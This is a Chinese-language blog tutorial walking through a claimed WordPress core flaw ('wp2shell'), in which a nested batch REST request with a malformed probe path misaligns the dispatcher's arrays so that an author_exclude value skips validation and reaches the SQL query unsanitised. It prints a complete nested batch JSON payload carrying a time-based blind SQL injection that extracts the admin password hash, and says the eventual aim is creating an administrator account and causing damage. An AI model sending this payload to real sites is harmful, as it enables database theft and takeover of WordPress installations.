wordpress核心框架漏洞(wp2shell)—先行版(小白篇)

**前言:**我觉得这个漏洞可以分成8个环节,先找到核心的注入点---把需要的数据注入----把注入的东西写到缓存里-------把缓存里的存到数据库里面------再从数据库提取数据时形成2个环路-------在第一个环路中实现提权--------在第二个环路中实现创建管理员用户--------用管理员用户造成破坏

我这次先讲第一个板块这个注入点是怎么找到并利用的,只是先讲第一步原理,实际漏洞利用与这次稍微有一点点区别,不过大体和思想是完全一致的。

这里我们使用SELECT IF(ASCII(SUBSTRING((SELECT user_pass FROM wp_users WHERE user_login='admin'),1,1))>30, SLEEP(0.5), 0)这个布尔盲注来验证这个注入点。为什么用布尔盲注?因为wordpress太有实力了,没有回显点。

一、首先我们可以看到一张参数映射表,

WP_REST_Posts_Controller 里有一张参数映射表(调试文档原文):

$parameter_mappings = array(
'author' => 'author__in',

'author_exclude' => 'author__not_in', // ← 就它

'exclude' => 'post__not_in',

'include' => 'post__in',

'parent' => 'post_parent__in',

'parent_exclude' => 'post_parent__not_in',

'search' => 's',

...

);

然后get_items() 里只有一行赋值:$args['author__not_in'] = $request['author_exclude'];------也就是说,这个author_exclude我们传什么,author__not_in就是什么。

不对啊,我sql注入为什么要看这个参数呢?因为我们需要把注入的语句赋值给这个参数(author__not_in)让它来执行,我们先看执行流程。

① REST 层:WP_REST_Posts_Controller::get_items()

// 参数映射表(调试文档原文):
'author_exclude' => 'author__not_in',

// get_items() 里只有这一行转发,不做任何加工:
$args['author__not_in'] = $request['author_exclude'];
// ↑ HTTP 传入的注入串原样进了这个键

WP_Query 里:注入串挂在了 query var 上

posts_query = new WP_Query( query_args ); // get_items 里创建查询

query_result = posts_query->query( $query_args ); // → get_posts()

// get_posts() 开头:

q = \&this->query_vars; // ★ $q'author__not_in' 就是你的注入串 ★

③ 执行拼装:真正"用到" author__not_in 的地方(class-wp-query.php:2403-2409)

2403 if ( ! empty( $query_vars'author__not_in' ) ) { // ← 判断键是否存在

2404 if ( is_array( $query_vars'author__not_in' ) ) { // 字符串 → false → 消毒跳过

2405 $query_vars'author__not_in' = array_unique( array_map( 'absint', ... ) );

2406 sort( $query_vars'author__not_in' );

2408 author__not_in = implode( ',', (array) query_vars'author__not_in' ); // 取出值

2409 where .= " AND {wpdb->posts}.post_author NOT IN ($author__not_in) "; ****拼进 SQL

2410 }
SELECT SQL_CALC_FOUND_ROWS wp_posts.ID ← get_posts() 模板开头

FROM wp_posts ← FROM {$wpdb->posts}

WHERE 1=1 ← 模板固定(为了让 $where 片段都能用 AND 开头)

AND wp_posts.post_type = 'post' ← $where 片段①(post_type 这个 query var 拼的)

AND (wp_posts.post_status = 'publish') ← $where 片段②(post_status 拼的)

AND wp_posts.post_author NOT IN ( author__not_in ) //就上面2409那个你注入的句子 where 片段3 、这时,这个拼装完成的where才成了你下面看到的那个$where

ORDER BY wp_posts.post_date DESC LIMIT 0, 10 ← orderby + limits(另两个变量)

④ 组装整条 SQL(class-wp-query.php,$this->request)

this-\>request = "SELECT found_rows distinct fields FROM {wpdb-\>posts} join

WHERE 1=1 where groupby orderby limits";

$where 里此刻已经有你的片段。WHERE 1=1post_type='post'post_status='publish'ORDER BYLIMIT 都是别的 query var 拼出来的,跟 author__not_in 无关

⑤ 执行:$this->request 被交给 wpdb 发往 MySQL

我们看一下这个最后给数据库是怎么执行的:

先建立一个总模型------PHP 和 MySQL 是两个程序,中间隔着一根"电话线"

┌──────────────┐ ┌──────────────┐
│ PHP 程序 │ (网络连接/电话线) │ MySQL 程序 │
│ (WordPress) │ ◄────────────► │ (数据库服务器) │
└──────────────┘ TCP 连接 └──────────────┘

  • PHP(WordPress)MySQL 是两个独立的程序,各自有各自的内存、各自的进程。

  • PHP 永远不会自己执行 SQL 。它只做一件事:把一段 SQL 文本"寄"给 MySQL,然后等结果

// ① get_posts() 里根据有没有 LIMIT 二选一(class-wp-query.php:3428/3438)

// 盲注路径:默认有 (LIMIT*分页) → 分步查询 → 第一步先取 ID

this-\>posts = wpdb->get_col( $this->request );

// RCE 路径:per_page=-1 → 无 LIMIT → 不分步 → 直接拿完整行

this-\>posts = wpdb->get_results( $this->request );//这里分页有什么用后面文章再讲

// ↑ 两个函数内部都会调用 query(),SQL 都真的执行

//这里灰色的可以不看防止你把自己看晕

// ② 统一入口:wpdb::query()(wp-db.php)------把 SQL 字符串真正发给数据库

public function query( $query ) {

...

this-\>last_query = query; // 记录"最近一次查询"(调试就看它)

$this->last_error = ''; // 清空上次错误

...

this-\>result = @mysqli_query( this->dbh, $query );

// ↑电话线号 ↑要寄的 SQL 字符串

// └────────────────────────────────────────┐

// ★★★ 阻塞调用,全篇最关键的 3 行 ★★★ │

// │

// 执行到这一行时: │

// ① 把 query 按 MySQL 协议打包,沿 this->dbh 这根线寄出 │

// ② PHP 线程【暂停】------这一行【不返回】,下面代码不执行 │

// ③ MySQL 收到 → 解析 → 执行(SLEEP(0.5) 在这里计时) │

// ④ MySQL 把结果寄回 → mysqli_query 才返回 │

// │

// → 你测到的"慢了 2 秒"就在这一行: │

// 时间是 PHP 在这行等掉的,活是 MySQL 干的 │

// (银行比喻:你在窗口前等了 2 分钟,办事的是银行内部) │

// │

// (旧版 PHP 走 else 分支 mysql_query,现代 PHP 都走 mysqli) │

// └────────────────────────────────------───────────────┘

...

}

好了,到这里这个author__not_in 是怎么传进数据库并执行的说完了,接下来要说我们该怎么给author__not_in 传值了**。前文说了'author_exclude' => 'author__not_in',** 那肯定是要从author_exclude 参数上下手了。

因为wordpress已经出来了10年了,他的防御肯定也是很严密的,如果你直接传www.wordpress.com/wp/v2/posts?author_exclude = SELECT IF(ASCII(SUBSTRING((SELECT user_pass FROM wp_users WHERE user_login='admin'),1,1))>30,SLEEP(0.5),0)这种,肯定是传不进去的(包死的兄弟)。这是因为wordpress的posts 接口有2层检验清洗,一层看你是不是数组,如果不是就强制转换成数组。二层看数组里面是不是数字,不是数字就报错。

第一道门卫:schema 校验

author_exclude 挂在 posts 接口 上,而 posts 接口的参数表里 author_exclude,并且规定它必须是"整数数组"。门卫(schema 校验)一看你传的是 SQL 串,直接拆开逐字符检查 → 发现不是整数 → HTTP 400 拒绝

所以我们需要精心构造一下payload。

{

"requests": [

{"method": "POST", "path": "http://:"},

{"method": "POST", "path": "/wp/v2/posts", "body": {

"requests": [

{"method": "GET", "path": "http://:"},

{"method": "GET", "path": "/wp/v2/categories? author_exclude=SELECT+IF%28ASCII%28SUBSTRING%28%28SELECT+user_pass

+FROM+wp_users+WHERE+user_login%3D%27admin%27%29%2C1%2C1%29%

29%3E30%2CSLEEP%280.5%29%2C0%29"},

{"method": "GET", "path": "/wp/v2/posts"}

]

}},

{"method": "POST", "path": "/batch/v1"}

]

}

为什么这么构造?起因是作者发现派送器两段 foreach**数组没对齐。**这时什么意思?我们知道wordpress有一种批量请求的batch功能(不知道自己去查)。

嵌套 batch + 探针错位(本漏洞的核心戏法)

第一步:把 GET 藏进 body(绕过"批量接口只收 POST"的限制)

批量接口 /batch/v1 的每个子请求,method 只允许 POST/PUT/PATCH/DELETE(枚举里没有 GET)。而注入必须用 GET(参数在 URL 里)。怎么办?

看接口的 schema:子请求的 body 字段是"透明"的------properties 为空数组、additionalProperties=true,意思是 body 里装什么都行,门卫根本不往里面看

于是攻击者构造两层嵌套 的批量请求:外层是一个正常的 POST 子请求,它的 body 里藏了内层的 requests 数组 (里面全是 GET)。外部门卫检查时只看到"一个 POST",body 内容不检查 → 放行;内层 requests 被取出后,由派送器直接按数组里的 method 字符串构造请求,没有枚举校验 → GET 畅通。

这里可能有疑问,为什么在payload的2层构造里要使用/wp/v2/categories这个函数呢,这里要细说这个过滤的原理了,比如我们传了author_exclude,那么系统就会在categories这个函数里面找有没有定义过这个参数,如果没有,就会直接跳过,返回ture。这样我吗就跳过了第一层清洗,然后因为错位author_exclude会被传给posts执行,这里面有第二层清洗函数,但清洗函数发现你不是数组(第一层被跳过了),于是就放行了。

也就是说其实我们也可以不用/wp/v2/categories,只要找一个没有定义过author_exclude的函数就行。

第二步:探针制造"数组错位"

派送器 serve_batch_request_v1() 用两段 foreach 处理子请求:

  • 阶段一(校验) :逐个匹配路由、做参数校验,结果存进 matches[]validation[]

  • 阶段二(执行) :再遍历一遍,按下标 $matches[$i] 取出"配给第 i 个请求的处理器"来执行。

漏洞就在这里:阶段一遇到解析失败的请求 (比如路径是 http://: 这种故意构造的坏路径,wp_parse_url 解析失败返回错误),会只把它记进 validation[] 然后 continue不往 matches[] 里追加 。于是 matches[]requests[] 少了一格 ,后面所有请求的匹配结果整体左移

内层 requests:

0 GET http://: → 解析失败 → 只进 validation,matches 缺第 0 格

1\] GET /wp/v2/categories?author_exclude=注入 → 匹配结果存进 matches\[0

2\] GET /wp/v2/posts → 匹配结果存进 matches\[1

阶段二执行时:

i=0 → matches0 = categories 的处理器(请求是探针,无害)

i=1 → matches1 = posts 的处理器 ★ 注入请求偷到了 posts 的 handler ★

i=2 → matches2 = 不存在 → 报错(无所谓,注入已经在 $i=1 送出去了)

所以这两个数组其实长这样:

request ?报错,GET /wp/v2/categories?author_exclude ,GET /wp/v2/posts

matches categories 的处理器, posts 的处理器 , (啥也没有,连null也没有)

第二道门卫:absint 消毒(为什么也失效)

就算进了查询层,WP_Query 还有最后一道整数消毒:array_map('absint', ...) 把数组元素强转成整数。但它有一个前提------只处理数组

if ( is_array( $query_vars'author__not_in' ) ) { // ★ 只有数组才消毒

$query_vars'author__not_in' = array_map( 'absint', ... );

}

正常路径下 author_exclude 会被校验成整数数组 → is_array() 为真 → 消毒生效。 错位路径下 author_exclude原始字符串is_array() 为假 → 消毒整段跳过 → 注入串原样拼进 NOT IN (...) 执行。

于是,我们的注入语句就在author_exclude被完整保留了下来传给了author__not_in。然后被数据库执行

相关推荐
howdoyoudo2026064 小时前
AI审计手记 #01(数据补全版):107小时、17,600次操作——OpenAI越狱案完整攻击链量化分析
大数据·人工智能·安全·ai·语言模型
zyj8890916 小时前
濮阳工厂目视化设计安全警示牌材质怎么选耐用
python·安全·材质
Summer-Bright6 小时前
Stripe 75亿美元收下OpenRouter、Nvidia让harness打败模型 —— AI软件简报 08.19-08.23
人工智能·安全·ai网关·模型路由
硅谷秋水6 小时前
通过技能-驾驭进化实现自我演化的具身智能体
人工智能·深度学习·安全·机器学习·语言模型·机器人
宸津-代码粉碎机6 小时前
FastUtil+AI多Agent实战:Java AI项目性能终极加速方案
java·服务器·开发语言·python·安全·php
三垣网安7 小时前
记一次渗透测试 | 教育src漏洞分享(2)
网络·安全·web安全·网络安全
小白说大模型8 小时前
Spring AI 框架中集成 MCP 的完整指南:从服务端到客户端的全流程实践
大数据·数据库·人工智能·安全·spring·chatgpt·开源
是隼人9 小时前
buuctf-pwn axb_2019_fmt32题解(学习过程持续更新)
c语言·学习·安全·pwn入门·ctf入门
txg6669 小时前
Less Is More:如何用半监督学习提升漏洞检测能力
人工智能·深度学习·学习·安全·开源软件